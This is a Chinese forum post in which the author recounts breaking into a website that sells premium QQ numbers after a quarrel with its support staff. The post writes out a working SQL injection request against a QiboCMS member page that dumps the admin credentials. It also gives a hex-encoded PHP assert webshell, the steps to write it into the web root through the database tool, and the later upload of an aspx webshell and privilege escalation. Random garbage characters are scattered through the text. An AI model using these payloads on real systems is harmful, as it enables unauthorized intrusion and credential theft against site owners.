|
+ j/ J. `5 L5 E- ^
: h% W4 @+ t7 X* N) o- v8 m2 D8 W
& Z0 |# S w9 J( U- @- u" U1 j! ?2 Z; `6 N
一、踩点寻找漏洞
- Z; R2 X7 o3 l0 W, b闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
, ?/ X5 V1 Q% j6 ^ X+ c) J" Z0 a+ p随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
& X$ `6 V0 y( w2 Z7 O H先注册一个用户，记住注册时候的邮箱以uid号，
8 Q) s' j2 ?- c# ?2 N
; H) n$ w% _1 ~' W6 F
! B1 A$ h0 [4 ~& `9 Y
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
B" L7 C/ s- Y
( K9 D V' y0 f' f) b+ j0 o' Ftruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
, O: k0 c5 H5 ^
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
7 F$ N) k8 {: s
+ H6 l' m- `( H$ u
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
$ K8 h& g) x& @& u- X) B
* ?3 L/ N8 Z: Q/ U5 U+ Z
, A+ |5 E: c( O9 m+ h9 S, N& L解密进后台如图：
3 t& A' y5 C' h/ _" P( g! L" S
# p8 M8 U9 f, Z* U2 S6 r5 l
7 @8 C" I( w: k* T! u# h. E3 S' A
) H4 H: I+ T# ^" U6 X9 `0 F
二、后台getwebshell
6 _% G9 q5 |7 r- G$ S) I; |) y& a& ]
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
o: R( k! U- R
9 V# f/ A3 A3 s: n; p1 X* b- N
2 E7 V. }9 ^# ]" o2 _. Q, b& Z
$ H% s N+ ]6 H9 n8 D5 z然后点确定，添加提示
: m) `. H. O/ |+ [0 V9 e
+ ^( S/ l2 Q% ^2 c8 k2 f: [& c
3 Q9 f; t B& I( J' H
2 X9 Q! o" |+ n/ t
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
4 U( Z1 _" F: q. `" R6 x
' ^9 Z3 L7 F; n N/ G
4 n1 g0 l0 G7 W$ P' Q6 n" y改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
/ Q5 n* P( N$ D9 } A% w如图：
. f' q& b; i4 `8 ]7 N4 ?% c0 M
! {0 c% m6 j8 k ~* Y' ^. J2 r! G) }4 s
# Y1 G9 t* p( }) [" k* H9 @) I
9 g4 H( }' r0 O# Z7 C( J
之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
4 Q* ?7 [1 m Y8 Z) p
% T" R6 R: X" g6 @: K
! a o2 ~' s! R. D& e) F T& }! z
+ Q: U+ C# C4 I; d c3 K三、提权进服务器
: T- Z' g! W4 u" G
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
" B2 K2 \( F" E/ T9 ^0 V) Z* v
! ^( b* B `; V9 d0 g6 v
; \/ L7 C7 h# N6 j" y4 ~啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
- v( J) d' C- p( I0 y+ M
- p6 J* [" i' m+ k% |
/ [) i! F. y/ T( U然后登陆服务器如图：
" D- f0 E$ I3 p' x8 ]; p
. F* M4 s4 n+ W
2 E% P9 N: U& l$ T' y + M5 S8 i2 I7 ]1 J! S* |+ q
3 d; C- L8 Y# v; H" J0 j
/ Z4 M* G( C- d难怪普通刀连接不上，原来是有狗。
" }/ t5 J. i; `& w" H
3 _1 H4 F5 z1 Q# t6 C
% \2 l0 N# ]* Z; m8 c 9 [# ?* r" H, t0 _3 k+ Z. I: t
6 C$ `; O, N$ U* h
% `! s" D, m/ b z/ l0 l. Z" D
; E4 ~# z' ^4 U
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对